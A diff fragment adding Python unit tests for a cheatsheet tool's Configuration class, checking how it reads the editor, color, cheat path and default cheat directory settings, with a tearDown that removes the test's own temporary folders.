+    def test_get_editor(self):
+        _configuration_key_test(self,"EDITOR",["nano","vim","gedit",None],
+        Configuration.get_editor)
+
+
+    def test_get_cheatcolors(self):
+        _configuration_key_test(self,"CHEATCOLORS",["true",None],
+        Configuration.get_cheatcolors)
+
+
+    def test_get_cheatpath(self):
+        _configuration_key_test(self,"CHEATPATH",["/etc/myglobalcheats",
+        "/etc/anotherglobalcheats","/rootcheats",None],Configuration.get_cheatpath)
+
+
+    def test_get_defaultcheatdir(self):
+        _configuration_key_test(self,"DEFAULT_CHEAT_DIR",["/etc/myglobalcheats",
+        "/etc/anotherglobalcheats","/rootcheats",None],Configuration.get_default_cheat_dir)
+
+    def tearDown(self):
+        shutil.rmtree(os.path.dirname(os.path.abspath(__file__)) +'/etc')
+        shutil.rmtree(os.path.dirname(os.path.abspath(__file__)) +'/home')